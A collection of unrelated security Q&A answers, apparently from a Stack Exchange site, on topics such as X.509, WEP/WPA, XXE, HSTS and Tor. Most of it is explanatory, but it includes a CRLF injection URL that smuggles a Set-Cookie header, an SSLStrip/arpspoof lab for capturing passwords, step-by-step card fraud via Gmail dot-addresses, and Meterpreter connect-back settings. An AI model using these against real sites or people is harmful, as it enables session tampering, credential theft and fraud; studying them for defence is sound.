I don't know what you mean by "X.509 problem". I mean, X.509 is a spawn of Hell; but I don't see how an implementation in PHP would fare better. The one good point of PHP here is that PHP has checks on array bounds, thus limiting the consequences of buffer overflows (application crash instead of actually overflowing the buffer); this matters for X.509 only because it seems that many people are incapable of implementing ASN.1 encoding/decoding properly, without tripping on these buffers. But apart from that, the complexity of X.509 is unchanged, whether it uses C or PHP.

The idea of rewriting everything from scratch, "for simplicity", arises regularly when talking about X.509. But the "problem" of X.509 is not that usual implementations are bad; it is that X.509 is inherently complex, because it tries to deal upfront with the complex issue of trust delegation (all competing solutions just try to side-step it); and X.509 (the standard) has accumulated a lot of legacy crud. Rewriting it from scratch won't make it simpler, unless you remove the parts of the standard which you don't like, in which case it will be simpler, but it won't work.


{Secure} Telnet connect to a console server from webbrowser

If the webserver is running on the same box as the telnet system (or directly connected on a physically secure connection), then you could safely relay information to the webserver and have it relay it, via telnet, to the system that you want to talk to.  The important thing to realized, however, is that your communication is only protected between your system and the webserver.  The web server's connection is still unencrypted and open to being snooped on unless that network is under your control and otherwise protected.

If this provides sufficient security for you, an alternate (and possibly easier) approach would be to setup a simple VPN to the network and allow telnet traffic over the VPN.  VPN is more natively designed for this kind of forwarding and can be configured to encrypt traffic.  It would allow you to use a telnet client of your choice on your PC instead of having to use some funky web based interface.


What makes one random strong password more resistant to a brute force search than another

If by random you mean select with equal probability out of some well-defined set of possible passwords, then the strength of the password is a function of the size of the set.  In your example, the set is that of three-digit sequences (000, 001, ..., 999), and this set has 1,000 members, so an attacker succeeds on average after 500 guesses.

  I would start with 000, 001, 002 and so on, using my very complicated cracking algorithm, the code which would get cracked on the last attempt would be 999 therefor in this instance its the strongest/safest.

  We can assume a real algorithm wouldn't just increment through the numbers or work its way through the ascii table.

We don't need to assume anything.  What's confusing you is that, for any given random choice, there are some orders that crack it much sooner than average.  For example, if we know that the PIN is 999, the algorithm that tries all combinations in descending order is optimal.

But the attacker doesn't know ahead of time that the code is 999, so why would they pick that algorithm?  If the code is 000—which is just a likely as 999—the backwards iteration algorithm is the worst one.  If you try and do some compromise like 000, 999, 001, 998, ..., then if the code is 500 it'll be really bad.

This argument generalizes: if the code is chosen at random, with all codes getting equal probability, and kept secret from the attacker, then for any algorithm the attacker tries the probability that their algorithm will find the code in very few tries is equal to the probability it will find it in the complementarily pessimal number of tries.  It all averages out—if the set has N codes, the attacker succeeds in N/2 tries on average.

  for example with a 3 digit numeric code you're probably far better off trying 123, 000 and 111 before 001 when trying to crack it. [link to common pin numbers]

If the code was chosen uniformly at random (all codes equally likely), you're not.

Note, on the other hand, that if the codes are not chosen uniformly at random (some are more likely to be chosen than others), then yes, some guessing orders are expected to finish sooner than others.  That's for example how practical password cracking works—the dictionaries and mutation rules and so on are just tricks to try likelier passwords ahead of unlikely ones.

  My theory is that the following random* strong passwords would be progressively harder to crack. [...]

You keep using the word "random" but I think you need to stop and think carefully about what you mean by this.  The key concept here is a discrete uniform probability distribution.  If your codes are chosen that way, there's no clever order tricks to be had at all, period.

  I am looking for a complete(ish) list of characteristics that a "brute force resistant" password should/n't have.

Two properties:

Strength: It should be chosen at random with equal probability out of a sufficiently large set.
User friendliness: It should be easy to remember and easy to input into the devices where the user needs to.  (This can be relaxed a lot if you use a password manager that autofills password fields or allows for copy/paste.)

That's it.  A simple system that arguably meets these requirements is Diceware.  (There is some debate on how memorable the passphrases are, and some proposed improvements to the word list.)


How to "demonstrate" man-in-the-middle attack?

You may be interested in checking out this link for SSLStrip. It's a tool developed by Moxie Marlinspike for MiTM on connections to http that redirect into https. The video has some demos of ways you can use this tool but the basic idea is you target an insecure login page that redirects to a secured session, Setup an arpspoofing and configure iptables and ssl strip will log data that passes through it. We did a lab once where we set this up on a virtual network and captured passwords as they were sent. This would probably help at least situation number 2. Hope this helps.


Is Hamachi on a Linux production server a big system vulnerability?

Yes it is a security concern. That said it may be acceptable.

Installing any application, and certainly ones that allow remote access, does open up vulnerabilities and risks that otherwise may not have existed. But you may determine that the risk is worth accepting as it allows you to work remotely.

You can configure some security on Hamachi to restrict it to some extent, but you can not be sure of any vulnerabilities that may exist (now or in the future).

Only you know if the risk is acceptable, and only you know if installing this is allowed within corporate policies. You should be careful though you do not breech any policies.


What is the difference between key mechanism in wep and wpa

Wired Equivalent Privacy (WEP) Is defined in IEEE 802.11. It uses a 40 or 104 bit key along with a 24 bit Initialization Vector (IV), and the RC4 stream cipher. The purpose of an IV is to ensure that the same key is never used twice but for it to work the IV must never repeat. It is also important how it is combined with the actual key. WEP concatenates the IV with the root key, which is static and does not change after setup, and then sends it to RC4.

So the input to RC4 is IV + KEY or can be thought of as RC4(IV+KEY). The IV being only 24 bits (about 16 million frames) will repeat quickly on busy networks, this allows related-key attacks. This was done because the key can only be used to encrypt one message or you end up with basically a two-time pad. The IV is also sent in the clear along with the ciphertext so that the receiver knows what IV was used because it is needed for decryption.

Further there are different modes of choosing an IV. If you use a counter method you are guaranteed to not repeat an IV for the duration of 16 million frames with WEP. If it is random due to the birthday paradox it happens much quicker. WEP uses a counter mode and the related key attack is made possible because the RC4 PRNG is not designed to be secure for closely related keys like RC4(1+KEY) and RC4(2+KEY).

Today with tools like aircrack-ng it can be broken in seconds simply by listening to traffic. As of 2004 WEP has been officially replaced with Wi-Fi Protected Access II (WPA2) in the IEEE 802.11i standard.

Wi-Fi Protected Access (WPA) was designed to be backwards compatible with
the hardware that WEP algorithms ran on which required the use of WEP’s RC4 to
encrypt traffic. It has the addition of the Temporal Key Integrity Protocol (TKIP) which generates a new 128 bit key for each packet and no longer allows the system to be broken by simply listening. It does this by combining the root key with the IV and then passing it to RC4.

In 2008 an attack on TKIP was released which allows an attacker to send some chosen packets by exploiting WPA’s Message Integrity Check (MIC) which was used to replace WEP’s CRC-32.

Wi-Fi Protected Access II (WPA2) uses the same 8-63 character Pre-Shared Key (PSK) as WEP; however, it avoids the problems of WEP and WPA by replacing both the TKIP and RC4 with AES-Counter Mode CBC-MAC Protocol (AES-CCMP) which restricts AES to 128 bits. AES-CBC mode providing robust protection against patterns being found and CBC-MAC providing excellent message integrity.

There are currently no attacks directly against the encryption protocol of WPA2 and it should always be used over WEP and WPA.

Further reading: The best resource for in depth explination of crypto basics, and intro to crypto I know of is this video series Introduction to Cryptography by Christof Paar.

A good video focused on your question specifically is Attacks on stream ciphers and the one time pad although it does not cover it in nearly as much depth, it is a good higher level overview.

This question probably would have been answered much quicker on the cryptography page.


Can we always remove WWW from a host name?

www is a common prefix for websites.  However, at a technical level it is just another subdomain, and there's nothing special about it. If a webserver accepts both or even more DNS names, it has to be configured that way. The server decides which configuration to use based on the DNS name in the HTTP request.

The certificate served for https://india.gov.in covers india.gov.in.  It does not cover www.india.gov.in, nor does it cover any other subdomain (foo.india.gov.in) or other domain (example.com).  This is the most basic form of TLS certificate, and a pretty common one.

The DNS records for india.gov.in and www.india.gov.in don't necessarily have to go to the same place; they could resolve different IP addresses and dfferenet DNS record types.  This is commonly done for hosting various applications on a single base domain, e.g. having mail.india.gov.in go to a webmail server.

A common way for companies to deal with this sort of issue is to buy a wildcard certificate (*.india.gov.in) to cover all their subdomains.  OWASP recommends against this because you have to secure every endpoint that needs the certificate (in our example above, an attacker breaching the webmail could extract the certificate and use it to man-in-the-middle a connection to the normal website, or vice versa).  A better option is to use a SAN certificate that includes just india.gov.in and www.india.gov.in, then set up redirects for any page requested on one domain to the other.


Is it possible and does it make sense to sign an E-mail with PGP and S/MIME?

You can sign with both PGP and S/MIME. Contrary to Oliver Schmidt's response, it is possible to create an external signature using PGP (you can sign any file with a PGP key, not just text - a executable (.exe) is not a good candidate for inline signatures). This is referred to as "PGP/MIME".

An external signature on a PGP file will be *.sig and S/MIME will typically be in the format of *.p7s for the PKCS#7 format. If you are using external signature it should not matter the order since you are not using both (as long as mail clients support it). Encapsulating them as suggested in another answer should technically work since the PGP user can ignore the S/MIME attachment.

The big issue on what to use will depend upon what your recipient is expecting and what their email client is capable of doing with (or what external tools they have). Some older clients may not support external PGP signature.


How to use Yubikey 5 NFC for online accounts, Linux login, and KeePassXC?

For Linux desktop login, this guide worked for me: InfoSec handbook

For KeePassXC, read KeePassXC doc

For online accounts, this heavily depends on the website how they implemented it. Usually, there should be a setting somewhere. Then, you need to insert your YubiKey and press a button to register it.

Keep in mind that U2F is considered "a second factor". So you still need a strong password in addition to your U2F key.

You need more than one YubiKey (or any other U2F token) for backup purposes. If you lose your single YubiKey, you may lose access to your accounts.

U2F doesn't take any slots, so you can use one single YubiKey for an unlimited number of U2F websites, etc. TOTP and HMAC CR are limited though.


Password reset with lost email functionality

You can offer entering a phone number and send password recovery message there (like Microsoft does) or using some things that only the user knows (e.g. ID of last ivoice)


Secure jquery ajax calls from a non secure page

No, it is not secure and using another domain will not help.

An attacker can manipulate the html/javascript code on the http-page to change the destination of the ajax call to his own server. Or even better, add a second call.


Why Would A Web Server Allow Loading XML External Entities?

why would a web server developer/admin decide to enable loading external xml entities in the first place?

Usually this is not about explicitly enabling but about not being aware of the problem and using a  library with insecure default settings. Many libraries have or had loading of external entities enabled by default. To cite from OWASP XML External Entity Prevention Cheat Sheet:

  ... starting with libxml2 version 2.9, XXE has been disabled by default

Which means before that it was enabled

  ... libxerces-c ... Use of XercesDOMParser do this to prevent XXE ... Use of SAXParser, do this to prevent XXE ... Use of SAX2XMLReader, do this to prevent XXE ...

Which suggests that it is enabled by default

  ...  the default settings for most Java XML parsers is to have XXE enabled.

and there are more libraries in this document which have XXE enabled by default.


Why is the HTTP Server header not used by most servers, but the User agent used by most browsers?

User-agent strings do provide the companies running web servers with useful information.  If they're contemplating introducing web site features or content they want to know if the majority of their user base have browsers that support that technology.  They can look at the user-agent strings logged in the past month or two and get a sense of what browsers are in use.  It can also tell them useful info like whether the user is connecting via a mobile device versus a PC, which can be used to customize the user experience.

Conversely, I'm not aware of any purpose served by web servers revealing their product or version other than to aid third-parties (e.g. Netcraft) who collect and summarize such information.  The user never sees the server type and the browser doesn't act any differently depending on the server banner (that I've ever seen).

Since Internet web servers are always running and publicly accessible that allows attackers to scan them quite easily looking for signs of vulnerability.  A site shouldn't rely only on the obfuscation of what web server and version they are using for security, but it can help to make them a less likely target.  Since it doesn't really disturb anything to disable the server banner it is an easier change to introduce.

While there is risk to the user of disclosing that they're using a specific browser that may be vulnerable to specific attacks, an attacker can't scan the Internet looking for vulnerable browsers.  A user would have to send a request specifically to an attacker controlled server for them to collect this information.  So there can be less risk associated with disclosing this information about a browser.

I'm sure the user-agent could be abandoned in favor of a 'feature string' or some other mechanism for communicating information about what the browser is and can handle to the web servers.  But these too could probably be fingerprinted by attackers who could guess the likely browser based on the supplied feature list.


How is it possible for user's password to be changed after storage was encrypted? (on OS X, Android)

At a high level, disk encryption is implemented using a data encryption key (DEK) and a key encryption key (KEK). The DEK is generated randomly and used to encrypt the drive, the KEK is derived from the user's password using a KDF like PBKDF2 or Argon2 and then used to encrypt the DEK.

When changing the password, the DEK is simply encrypted with a new KEK derived from the new password.

Encrypting without a password is likely prohibited to avoid a false sense of security. It'd be a bit like locking your door but leaving the key in the lock.

Of course, if you're changing your password because you believe someone figured it out, and that person also had access to the encrypted device, it's possible they stored a copy of the DEK. In this case it may be necessary to re-encrypt the entire drive, though doing so will likely take some time.


Is it possible to detect SSL private key changes?

A certificate is signed, which means that not a single bit can be changed in it without breaking the signature. Certificates are immutable. When you want to "change the key" or "change the validity dates", then you need a brand new certificate. Renewal is a business concept; at the X.509 level there is a certificate, and then there is another one, and both live independently of each other.

A certificate contains a name and a public key. The same public key may appear in several certificates; there is no technical rule that forces a new key pair generation whenever a new certificate is issued. There can be legal or business rules, though: a CA is supposed to follow its published certification policy, and that policy may mandate a new key pair for a certificate renewal.

We may note that when a CA wants to "renew" a certificate without changing the public key, then it can do it by itself: the CA already knows everything which goes into the new certificate. Thus, that kind of renewal can be done automatically without needing to talk to the certificate owner at all. Not all CA do that.

For each public key, there is a corresponding private key. The private key, formally, is the knowledge of the mathematical elements which allow to run the "private key operations" (signature generation, asymmetric decryption). Mathematically, this knowledge can be encoded in various ways. In RSA, the public key is a pair of big integers:

the modulus n
the public exponent e

The modulus is a product of two big prime integers p and q. The private key is, really, the knowledge of p and q. However, in practice, the private key is encoded as several big integers:

the modulus n
the public exponent e
p
q
the private exponent d
dp = d mod p-1
dq = d mod q-1
1/q mod p

The "private exponent" is a value d such that e·d = 1 modulo both p-1 and q-1. It so happens that there are several (actually, infinitely many) possible values for d, for a given public key (n,e). This is what others have pointed out: you can have "several" private keys for the same public key. However, I may argue that all these private keys are in fact several representations of a unique "true" private key, which is the knowledge of p and q. All these so-called private keys will compute the same things for the same inputs, and produce the same outputs. Really, there is only one private key.

(Mathematically, looking for equivalent values for dp and dq has been employed to gain some performance on some low-power architectures, namely smart cards; the trick is that making dp slightly longer can imply a performance improvement if the longer value has a lower Hamming weight.)

So I'd say that you can forget this notion of "changing the private key without changing the public key". It adds only confusion.

Finally, the public key of a SSL server is in the server's certificate, which is public and sent to the client. If the client remembers the last certificate used by a given server, then it can certainly report when that certificate is changed, and what has changed exactly. In particular whether the public key is the same as previously, or another one.

There is a Firefox add-on for that.

Note that certificates which change are a normal occurrence on the Web, not only for renewals (CA who sell certificates like it a lot when they can sell more certificates, and that's a primary driver for the short life times of existing server's certificates) but also for multi-frontends: when a server is hosted on several machines with load-balancing, each machine may have its own certificate, distinct from the certificates of other frontends.


Your last question first; Yes, XTS is only recommended for full-disk encryption. That is what it was designed for by the IEEE Standard 1619.

How does the mode work?

XTS builds on top of XEX designed by Phillip Rogaway and extends this by a tweak value and ciphertext stealing. The mode defined by IEEE uses an AES cipher, in fact AES is used twice. Simplified (without i and alpha), the tweak value is encrypted, then XORed with the plaintext block. That result is then AES encrypted again, this time with the other key and that result is XORed again with the encrypted tweak. This gives you the ciphertext block. Now the tweak is a value that specifies where in the disk block (could be confusing, FDE talks about blocks in the case of cryptography and in the case of disk management). As you can see, there is no direct link of one ciphertext block to the following. This is why some refer to XTS as an ECB-like cipher with some of the negative consequences that come from it.

So how exactly are the keys created?

That's not really the business of XTS, just like with other modes it does not care about how the cryptographic key material is created. However, if you refer to the specialty of the "two key in one", that is a simple split in two half. Since the IEEE standard names AES, the example you gave yourself won't work. In fact, XTS is specified as XTS-256 (2x AES-128) and XTS-512 (2x AES-256).

Further sources

If you would like to read more, I suggest you try to get hold of the IEEE Std. 1619. Otherwise read Phillip Rogaway's Evaluation of Some Blockcipher Modes of Operation, a report wirtten for CRYPTREC 2011.


Why would someone open a Netflix account using my Gmail address?

I think it's likely that someone is trying to trick you into paying for Netflix for them.  From: https://jameshfisher.com/2018/04/07/the-dots-do-matter-how-to-scam-a-gmail-user/:

  More generally, the phishing scam here is:

  Hammer the Netflix signup form until you find a gmail.com address which is “already registered”. Let’s say you find the victim jameshfisher.
  Create a Netflix account with address james.hfisher.
  Sign up for free trial with a throwaway card number.
  After Netflix applies the “active card check”, cancel the card.
  Wait for Netflix to bill the cancelled card. Then Netflix emails james.hfisher asking for a valid card.
  Hope Jim reads the email to james.hfisher, assumes it’s for his Netflix account backed by jameshfisher, then enters his card **** 1234.
  Change the email for the Netflix account to eve@gmail.com, kicking Jim’s access to this account.
  Use Netflix free forever with Jim’s card **** 1234!

(Note that the above steps don't include any "password reset" step for Jim to access the account; that's because the email from Netflix includes authenticated links that won't ask for it.  The attacker wants the victim to click on the email links instead of visiting Netflix manually, this is what enables "Eve" to log back in to the account in step 7.  Or, since Netflix emails authenticated links, possibly "Eve" already has one.)

The above situation is partially caused by Netflix (understandably) not recognizing Gmail's "dots don't matter" feature where email sent to foo.bar@example.com and to foobar@example.com end up in the same account.  That doesn't really matter in your case (given that if this is how you're trying to be scammed, step 1 was skipped entirely), however.

A bigger problem is that Netflix apparently still allows people to register email addresses to accounts without verification.


You should try the kiosk mode of the tablet of your choice. This will lower the risk that your students will be able to copy the files from the device.

To avoid tampering you could seal your devices. Sure they still would be able to break into the device but at least you would be able to sue them afterwards if the seal is broken.

Last you wont be able to protect the content to be recorded by a second device.


Why can't we do MiTM attacks when using secure connection

Because you can't spot the cookies, and even if you could, you couldn't re-use them.

An actual HTTP request looks something like this, and the whole thing is encrypted:

GET /wiki/Main_Page HTTP/1.1
Host: en.wikipedia.org
Accept: text/html,application/xhtml+xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36 OPR/18.0.1284.49
Referer: http://en.wikipedia.org/wiki/Main_Page
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: centralnotice_bucket=0-4.2; uls-previous-languages=%5B%22en%22%5D
Connection: keep-alive

Note that the cookie is mixed in with a whole bunch of other stuff.  You can't grab an encrypted cookie because you can't find it (it's surrounded by stuff that varies from browser to browser and even request to request).  Even if you could find it, SSL includes measures to prevent an attacker from re-sending a request (a replay attack), and it includes a message authentication code (MAC) to prevent an attacker from slicing up a request and only using part of it.

Further, SSL uses a different encryption key for each connection.  Even if you could grab the encrypted cookies and bypass the MAC, you'd find they were encrypted with the wrong key for you to use them.


employing SSL even on non critical web server

The cautious strategy would be to do SSL everywhere, then think about switching to non-SSL for some pages if (and only if) performance issues arise, that would be likely to be fixed with absence of SSL. Not using SSL means that passive attacker can see all the traffic, and active attackers can modify at will all the non-SSL parts, which can have deep ramifications. Thus, this is not something that should be done lightly. Mixing SSL and non-SSL content within the same page also tends to produce browser warnings or breakage, so doing partial SSL can be challenging.

"Performance issues" that may plausibly arise in the presence of an all-SSL world are about caching; with SSL, transparent proxies that cache data requests as they go, without clients being aware of it, can no longer work. Big ISP are quite fond of transparent proxies. On the other hand, "performance issues" that come to the mind of most sysadmins (namely, the "obviously" huge overhead of encryption) are, in fact, mostly mythic.

The industry practice is of course completely different. The industry, at large, goes without SSL, then adds it only reluctantly, long afterwards, for only some pages, and only after having spent all the excuses about how attacks on non-SSL pages are not their problem since they are client-side. For some reason, many sysadmins think about switching to SSL with the same mindset as an hardcore environmentalist that considers replacing a coal power plant with a nuclear one.


SSL Authenticated SOAP Request works in SoapUI but not through code

I figured it out! The SSL handshake was failing on my (client) side because the client certificate did not have the right permissions for the account that was running the web application. I was able to find this out by looking in 'Windows Event Viewer' under 'Windows Logs --> System'. There I saw an error stating: "A fatal error occurred when attempting to access the SSL client credential private key. The error code returned from the cryptographic module is 0x8009030d. The internal error state is 10003."

Googling that error state brought me to this forum post (https://social.technet.microsoft.com/Forums/lync/en-US/e70a8dbc-6f48-4fde-a93b-783554344822/a-fatal-error-occurred-when-attempting-to-access-the-ssl-client-credential-private-key?forum=ocscertificates) which said that it was a permissions error. Whatever account was running the application could not access the private key of the certificate. To fix this I simply gave read permission for my client certificate to the correct account through MMC in Windows. This post provides some insight on how to do that: https://stackoverflow.com/questions/2609859/how-to-give-asp-net-access-to-a-private-key-in-a-certificate-in-the-certificate

Hopefully this helps someone in the future! Remember to check your permissions!


Is it possible to identify outstanding ssl certificates?

It is not possible to find out if all existing CA's have issued a certificate for a specific domain. But, it is possible to get this information for many of the public CA's which are included by default as trusted into the browsers/OS because these CA publish newly issued certificates into public accessible certificate logs. These logs then can be monitored and also searched by others, for example using the interface provided by google.

While not all public CA currently publish such logs it looks like that Google Chrome will require this for all public CA's included in Chrome until October 2017.

For more information about the idea behind these logs and how they work in detail see the certificate transparency website.


during change of IP address - adware infection

Your ISP cache DNS redirected you to a different IP, most probably its a new website and it takes certain time to refresh DNS records on any DNS server depending on their configuration and DNS TTL as well as on your laptop OS.


Why did browsers choose to implement HSTS with Preload over checking custom DNS information?

But why would the DNS have to be secure to hold one more bit of information (whether the domain can support https--and ONLY https--or not)?

A man-in-the-middle attack could modify the DNS responses to remove the bit saying that a site requires HTTPS.

  In the worst case, a malicious MiTM attack could make it seem that a website is insecure when it is actually secure. But in this case, an insecure connection would simply fail. This failure would deny the malicious user any advantage.

A man-in-the-middle attack could make the insecure requests work.

Say paypal.com requires HTTPS connections (and doesn't respond to HTTP connections, or responds only with a redirect to https://paypal.com), and has the HTTPS-only DNS flag set. If a user is MITM-attacked, then the MITM can strip the HTTPS-only DNS flag from the DNS response for paypal.com, and then when the user makes an insecure HTTP connection to paypal.com, the MITM can proxy that connection to https://paypal.com and see all the requests and responses in plaintext. The user will believe they're talking with paypal.com over HTTP, and paypal.com will believe they're talking to the user over HTTPS.


What would a hacker do if he got your router password over the internet?

There are a few main things.  The first thing would probably be to take down your firewall and expose your internal network to the outside world so that they could access your internal traffic.

The next would likely be to change the DNS information so that it provides a misbehaving DNS server that could direct you to fairly convincing phishing sites.  While SSL locks wouldn't appear, when you went to www.mybank.com, they could send you to a site that looks just like mybank.com but doesn't have any SSL and try to steal your login.

What else they could do depends largely on the capabilities of your router.  If VPN is supported, they could actually connect directly in to your local network and monitor traffic between your systems, potentially gleaning significant information.  Any systems with vulnerabilities due to lack of patching would be accessible to them.

All in all, it isn't like it automatically assures they will get access to anything, but it does mean that any amount of defense your router normally gives is gone and gives them control over how your network behaves.


Why would PayPal send messages from another domain?

Should the practice of sending messages from somecompany.com using anothercompany.com become established, it will be virtually impossible to us users telling if a website is legit or a scam.

Unfortunately, this practice is already established - and yes, it makes it very hard to tell legitimate communications from spam. Companies use partners and third parties to handle their email all the time.

  Why should a company (and in particular a company dealing with payments) send messages from another domain?

Because companies outsource non-core functions like marketing to third parties for economic reasons.

  Why add countless trackers if you can already recognise users from logon?

Trackers can provide a lot more psychographic information than logon can, and that information is valuable to marketing departments.


The payload will keep trying to connect back until SessionExpirationTimeout is hit. Default is one week.

Details here.

  The payload has a hard-coded expiration date stamped into it during
  the initial staging process. By default, this is one week from the
  current date (relative to the target). This prevents a forgotten
  session from connecting back indefinitely. You can control this
  setting through the SessionExpirationTimeout advanced option.

  To avoid shutting down the payload but still exit the temporary
  session, use the detach command from the Meterpreter prompt

  Setting [SessionExpirationTimeout] option to 0 and detaching the session will instruct the
  payload to keep reaching out until the SessionCommunicationTimeout is
  hit or the process is killed.


The problem is that I didn't connect my Virtual machine to the bridge adapter, so I can't get access to it. I should've just add it in the VM's settings, and all started to work well!


Retrieve files from possibly infected USB

There are a few things you should do:

Disable autorun, this way you won't start any install scripts
Use an updated firewall / virus scanner, for obvious reasons

Or you could run a linux live cd and copy the data.


Does an editable file owned by root pose any risk?

I think it highly unlikely this would represent any risk. Even if dangerfile.txt were executable, it would still be executed as bob and lack the ability to do root-like things.


Does it make sense that OCSP returns state for the signer CA itself

No where in the standards that I can recall (I contributed to 2560 and am an author to 5019) does it say you can not serve responses for yourself, that said as you point out doing so is useless since you cant trust the response in that scenario.

Are you sure that is what you are seeing though; remember that OCSP "good" doesnt mean issued it means "not revoked".

If you ask an out of scope question to a responder you may get back "good" even if the certificate was never issued. One theory as to why you are seeing what you describe  is you are asking the ocsp responder for the issuing ca using a test tool even though no client should ever ask that question.

Also in theory in this case you would expect the issuing ca certificate itself to contain an aia:ocsp:url reference but to a different ocsp responder.

Anyhow, what you are seeing is not right as you point out I hope it is a problem with the test if not I would notify the operator of the responder to check its rfc compliance and interoperability as there are likely other issues too if this is the case.


How to Prevent a Specific Trusted Root Cert From Re-Installing After Deletion

The first step is figuring out how this is happening.

Is the content filtering system pushing the certificate to clients using a set of credentials?
Is the certificate being pushed by GPO?
Is the certificate published in Active Directory? (not the same as a GPO---must check both)
Is there a service/app running on the clients that could be reloading it?

Once you know how the certificate is being distributed, you can look at reconfiguring the distribution method.

Alternatively, you can push the certificate into the Untrusted store via Group Policy, which should prevent clients from using it. This is effectively the same thing as deleting it from Trusted store---in most cases. Obviously, you will need a valid certificate in order for your content filter to work.

Last, but not least: Can you figure your content filter to ignore traffic to the affected site? If its decryption or inspection of that traffic is causing problems, you should be able to whitelist the site so that it is left alone. Most enterprise solutions include this capability.


What is the correct course of action when a hash function used to hash passwords is compromised?

Option 3 is to re-hash the passwords when the user logs in (and you thus briefly have access to the unhashed password), and accept the reduced security for users who have not logged in since before you made the change.


Another way I have interpreted this is that the client, nor Tor, needs to know the real IP address of the hidden service hoster, since they only communicate through a rendezvous point, and they both go through 3 encrypted hops just like normal to the rendezvous point, providing them both anonymity.

Yes, this is correct. It's helpful to think of the hidden service as a mirror of the standard tor connection: both you and the site create a 3-node circuits, and what would normally be the exit nodes talk to each other*. Just as a clearnet site you visit does not know your IP, but just the exit node's, so you don't know the hidden service's IP.

You can find out more about these mechanics on the Tor Stack Exchange and the Tor website.

* The client's exit nodes only talk to the hidden service's "exit" nodes to pass along a request for a rendezvous point; the service replies with one, and the rest of the communication happens over that circuit.


What happens when you lose access to the second factor?

As others have said, you (should) lose access to your account.

A common recommendation is to use TOTP 2FA and to backup the key.


Javascript asymmetric password-based encryption

The reason a javascript version is offered is because of nodejs, a server-side javascript interpreter.

It is not that javascript is not powerful enough to encrypt messages; it is that javascript (in the browser) is client-side. This means that XSS-injection or a web browser plugin could engineer your website to collect its data before the message is encrypted. The encryption itself would be useless, as the private-key would be displayed semi-publicly in the web-browser's source-code, meaning that if an individual stole this key once, they could continue to man-in-the-middle the user after the browser plug-in is uninstalled.

It is best to do all security related things on the server-side to mitigate XSS vulnerabilities, which used to be more prominent.

I think what you're looking for is an SSL certificate, which will encrypt the POST or GET data as it transfers to the server.


Validate if URL (message) is coming from a trusted source

It's good that you do want to keep the private key private and only hand it to trusted servers, not to the clients itself.

While you propose a scheme that will (probably) be (reasonably) safe, I have a slightly different approach for you to consider which is less of an abuse of asymmetric cryptography and allows for better transparency as to what's happening to the user receiving one of those links:

If you add a path element to the URL that contains the signed hash of the url to send the user to, like this:

http://a.tgt/?target=sign(privKey, h(https://b.tgt/bla))|https://b.tgt/bla

where sign() signs a message with a private key and h() hashes a string, you have

a better chance of detecting tampering,
solid authentication and
do not hide the actual forward target from the user.

By concatenation of the signature and the target URL as pointed out in the comments you reduce the chance of the payload being processed without processing the signature as well.

Please also note that encryption with the private key is usually called signing :)


A CRLF Injection might work. You would use a URL like the following:

/url?cookie1=first_value%0d%0aSet-Cookie:%20cookie2=second_value


A good option is to harden your Content Security Policy. It allows you to fine-tune which resources the browser will load/run, and is supported by most browsers.

Consider the following header:

Content-Security-Policy: default-src 'none'; img-src 'self'; style-src 'self';

This tells the browser to disable scripts, frames, connections and any other objects/media. We then permit images and stylesheets to be loaded, but only from the same domain.


Root privilege using Return-to-libc attack

After a long time of searching, I found out that environment variables have a different address when running the program under GDB.
So, the solution to my problem was simply to write a short program in C that prints the address of the environment variable I was looking for. Then, the solution was obvious to me.


Is SQL-injection a client-side or a server-side attack?

The database is stored on the server. This means that the server is the thing which gets directly harmed during successful SQL injection (there may be secondary effects on the client, but the server is harmed first).

Therefore, SQL injection is a server-side attack first and foremost.


Cloudflare is essentially a reverse proxy which might also cache content. If the content is then actually served from the cache or if the request is passed through the origin server can be influenced by the server itself through the use of standard Cache-Control HTTP headers. Thus, if the server wants to control access to specific content but still allow other content to be cached just set Cache-Control appropriately.
Additionally the original client IP address can be passed through the server as a special HTTP header so that any geo-blocking can be done.

What vulnerabilities remain open with this setup on the write side?

When properly setup using above mechanisms only the usual risk of a CDN apply, in that the CDN can in theory read and modify any content in transit, even if https:// is in use.


I am assuming you are making a toy protocol for the fun of it -- learn about crypto, have fun implementing something, but understand that this toy scheme is probably flawed and that if you have sensitive data you should use well-known vetted protocols, not toy schemes you just came up with.  (If not see reasons to not roll your own ).

First, RSA just describes the scheme c = m^e mod N where you encrypt a message m with a public key (N,e), and decrypt with private key pair (N,d)via m = c^d mod N.  You should not encrypt your OTP with RSA -- it will be very inefficient and there are many attacks against RSA without proper padding.  You really should always use padding schemes like OAEP (specifically PKCS #1v2).  RSA is expensive for long messages, in practice you always use hybrid encryption.  That is use RSA to encrypt a randomly generated key for a symmetric encryption function like AES (other encryption functions are fine, just chose AES for concreteness).  So Alice first sends ERSA(RSA-PubKey, OAEP(Random-AES-key)), where RSA-PubKey = (N,e) and ERSA(RSA-PubKey, m) = me mod N.  Then she sends the AES-encrypted secret data EAES(Random-AES-Key, Secret-Data), which just means Secret-Data is encrypted with AES and the recently generated Random-AES-Key.  Then the receiver first decrypts the AES-key using RSA with the private key (N,d) and then undoes the OAEP padding, and then decrypts the message using that AES-key to get back the secret data.

That said, checksums should not be used to prevent tampering of a message in transit.  If an attacker can guess a message, they can calculate the checksum, and then tamper the encrypted message to alter both the message and checksum.  For example, if the message was encrypted with AES-CTR mode and the message is m = "Transfer $1000 from Alice to Bob's account." and uses MD5 hash as checksum h=b2a26c14a029b0a2aadba4fa2ecd32d2.  Eve could calculate xor between that message and m' = "Transfer $9999 from Alice to Eve's account." which has the md5 checksum h' =308b23cb47b0efff365c2593e0a005d7 and then XOR the encrypted message with m XOR m' and the encrypted checksum with h XOR h'.

Message Authentication Codes are the way to provide integrity that your message wasn't tampered.  These are essentially checksums that intrinsically rely on a shared secret key.  There's always a question of how to MAC, should you Encrypt-then-MAC -- (send E(Data) ++ MAC(E(Data)) or MAC-then-Encrypt (send E(data ++ MAC(data))) or Encrypt-and-MAC (send E(data) ++ MAC(Data)), but Encrypt-then-MAC is the consensus best option though other schemes can be secure for certain ciphers.

There are other issues (e.g., generating OTP is quite expensive and uses a lot of entropy which could be problematic).  I also don't see what the OTP step gains in security -- e.g., if the RSA step is compromised all the other data is compromised as well to any eavesdropper.

